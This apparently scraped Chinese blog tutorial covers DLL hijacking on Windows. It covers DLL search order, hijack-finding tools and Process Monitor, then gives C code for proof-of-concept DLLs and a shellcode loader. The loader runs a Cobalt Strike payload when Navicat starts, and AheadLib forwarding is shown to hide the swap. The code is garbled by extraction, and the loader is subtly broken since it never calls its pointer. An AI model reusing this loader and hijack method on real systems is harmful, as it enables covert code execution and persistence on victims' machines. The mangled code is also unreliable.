DLL 劫持 DLL 簡介
DLL 加載順序在 windows 中,許多應用程序并不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即 DLL 文件,放置于系統中。當我們執行某一個程序時,相應的 DLL 文件就會被調用。一個應用程序可使用多個 DLL 文件,一個 DLL 文件也可能被不同的應用程序使用,這樣的 DLL 文件被稱為共享 DLL 文件。
如果程序需要加載一個相對路徑的 dll 文件,它將從當前目錄下嘗試查找,如果找不到,則按照如下順序尋找:
windows xp sp2 之前
Windows 查找 DLL 的目錄以及對應的順序:
- 進程對應的應用程序所在目錄;
- 當前目錄(Current Directory);
- 系統目錄(通過 GetSystemDirectory 獲取);
- 16 位系統目錄;
- Windows 目錄(通過 GetWindowsDirectory 獲取);
- PATH 環境變量中的各個目錄;
Windows 查找 DLL 的目錄以及對應的順序(SafeDllSearchMode 默認會被開啟):
默認注冊表為:HKEY_LOCAL_macHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode,其鍵值為 1
- 進程對應的應用程序所在目錄(可理解為程序安裝目錄比如 C:ProgramFilesuTorrent)
- 系統目錄(即 % windir% system32);
- 16 位系統目錄(即 % windir% system);
- Windows 目錄(即 % windir%);
- 當前目錄(運行的某個文件所在目錄,比如 C:Documents and SettingsAdministratorDesktoptest);
- PATH 環境變量中的各個目錄;
從 Windows7 之后,微軟為了更進一步的防御系統的 DLL 被劫持,將一些容易被劫持的系統 DLL 寫進了一個注冊表項中, 該項下的 DLL 文件就會被禁止從 EXE 自身所在的目錄下調用,而只能從系統目錄 SYSTEM32 目錄下調用,其注冊表位置:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs
自動化挖掘 批量尋找劫持
https://Github.com/wietze/windows-dll-hijacking
PLAINTEXT
1 | Python/ target=_blank class=infotextkey>Python generate_pmc_files.py |
https://github.com/knight0x07/ImpulsiveDLLHijack
編譯完成后,把 Prerequisites 文件夾里的內容拷貝至 ImpulsiveDLLHijack 項目里
PLAINTEXT
1 | ImpulsiveDLLHijack.exe -path xxx.exe |
這里使用 navicat 進行測試,可見運行的時候會加載 C:UsersdyyAppDataLocalProgramsPythonPython38soci.dll
使用 cs 生成惡意 dll,重命名為 oci.dll 后放置到該目錄下
手動挖掘
Process Monitor 查找可用 dll,設置如下圖所示
配置完可以保存導出配置,下次直接導入使用
使用 googleUpdate.exe 進行測試,運行程序 filter 加載所使用的 dll 文件
這里可以看出來,當 GoogleUpdate.exe 程序運行的時候,會調用當前目錄下的 goopdate.dll 文件
編寫一個基礎的彈窗 dll
JAVA
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
#include <Windows.h>
#pragma comment(lib, "user32.lib") BOOL APIENTRY DllMain(HMODULE hModule, Dword ul_reason_for_call, LPVOID lpReserved){ switch(ul_reason_for_call) { caseDLL_PROCESS_ATTACH: //DLL首次被加載到內存時運行 caseDLL_PROCESS_DETACH: //DLL銷毀時運行 caseDLL_THREAD_ATTACH: //DLL線程加載時運行 caseDLL_THREAD_DETACH: //DLL線程銷毀時運行 break; } returnTRUE; } extern "C"__declspec(dllexport) int DllEntry(DWORD ArgList, int a2){ MessageBox(NULL, "I am DLL !", "DLL", MB_OK); return0; } |
彈計算器
JAVA
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "pch.h" #include<stdlib.h> BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch(ul_reason_for_call) { caseDLL_PROCESS_ATTACH: system( "calc"); caseDLL_THREAD_ATTACH: caseDLL_THREAD_DETACH: caseDLL_PROCESS_DETACH: break; } returnTRUE; } |
CS 上線
cs 生成 c 的 payload
生成的 payload 填入到下面相應的位置上
CPP
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
// 頭文件
# include"pch.h" # include<Windows.h> //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// HANDLE hThread = NULL; typedefvoid(__stdcall* JMP_SHELLCODE); unsigned char shellcode[] = "xfcx48x83xe4xf0xe8xc8"; DWORD WINAPI jmp_shellcode(LPVOID pPara) { LPVOID lpBase = VirtualAlloc( NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(lpBase, shellcode, sizeof(shellcode)); JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase; jmp_shellcode; return0; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 入口函數 BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved) { if(dwReason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); hThread = CreateThread( NULL, 0, jmp_shellcode, 0, 0, 0); } elseif(dwReason == DLL_PROCESS_DETACH) { } returnTRUE; } |
運行 navicat 程序就會上線
DLL 轉發劫持
有時候當我們替換 dll 后,雖然可以執行命令,但是會產生報錯
這時候我們可以使用 AheadLib 工具,使惡意的 DLL 將原有的函數轉發到原 DLL 中并且釋放惡意代碼
打開工具導入 dll 文件,會生成相應的 cpp 文件
直接轉發函數,我們只能控制 DllMain 即調用原 DLL 時觸發的行為可控
即時調用函數,可以在處理加載 DLL 時,調用具體函數的時候行為可控,高度自定義觸發點,也稱用來 hook 某些函數,獲取到參數值